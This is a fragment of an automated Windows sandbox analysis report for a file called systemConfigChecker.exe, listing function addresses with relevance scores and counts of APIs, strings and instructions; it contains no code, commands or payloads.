HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
systemConfigChecker.exe

Function 00007FF64E135D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Function 00007FF64E135510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Function 00007FF64E134A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Function 00007FF64E134E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Function 00007FF64E134640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Function 00007FF64E133780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Function 00007FF64E133AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Function 00007FF64E133560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Function 00007FF64E133CD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161
COMMON

Function 00007FF64E131820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Function 00007FF64E1389E0 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Function 00007FF64E134390 Relevance: 13.7, APIs: 9, Instructions: 164
COMMON

Function 00007FF64E139C10 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Function 00007FF64E1399F0 Relevance: 13.6, APIs: 9, Instructions: 136
COMMON

Function 00007FF64E13B080 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON